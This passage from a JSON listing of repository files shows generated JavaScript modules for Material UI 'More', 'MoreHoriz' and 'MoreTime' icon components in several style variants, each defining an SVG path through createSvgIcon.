    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.97.89 1.66.89H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'More');"
  },
  {
    "path": "packages/mui-icons-material/lib/More.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.97.89 1.66.89H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'More');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHoriz.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHoriz');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHoriz.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHoriz');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreHorizTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreHorizTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.97.89 1.66.89H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\")], 'MoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.97.89 1.66.89H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\")], 'MoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L.37 11.45c-.22.34-.22.77 0 1.11l5.04 7.56c.36.52.97.88 1.66.88H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'MoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L.37 11.45c-.22.34-.22.77 0 1.11l5.04 7.56c.36.52.97.88 1.66.88H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'MoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 3H6l-6 9 6 9h18zM9 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'MoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 3H6l-6 9 6 9h18zM9 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'MoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTime.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTime');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTime.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTime');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTimeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTimeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.75 8c-.41 0-.75.34-.75.75v4.69c0 .35.18.67.47.85l3.64 2.24c.33.2.76.11.97-.21.23-.34.12-.8-.23-1.01L11.5 13.3V8.75c0-.41-.34-.75-.75-.75\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"2\")], 'MoreTimeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.75 8c-.41 0-.75.34-.75.75v4.69c0 .35.18.67.47.85l3.64 2.24c.33.2.76.11.97-.21.23-.34.12-.8-.23-1.01L11.5 13.3V8.75c0-.41-.34-.75-.75-.75\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"2\")], 'MoreTimeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTimeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTimeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTimeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTimeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v6l4.7 2.9.8-1.2-4-2.4V8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 12c.05.33.08.66.08 1 0 3.9-3.1 7-7 7s-7-3.1-7-7 3.1-7 7-7c.7 0 1.37.1 2 .29V4.23c-.64-.15-1.31-.23-2-.23-5 0-9 4-9 9s4 9 9 9 9-4 9-9c0-.34-.02-.67-.06-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}, \"2\")], 'MoreTimeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 5 2.4 12l4.67 7H22V5zq.015 0 0 0M19 10.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-5 0c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-5 0c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.97.89 1.66.89H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"4\")], 'MoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreTwoTone.mjs",
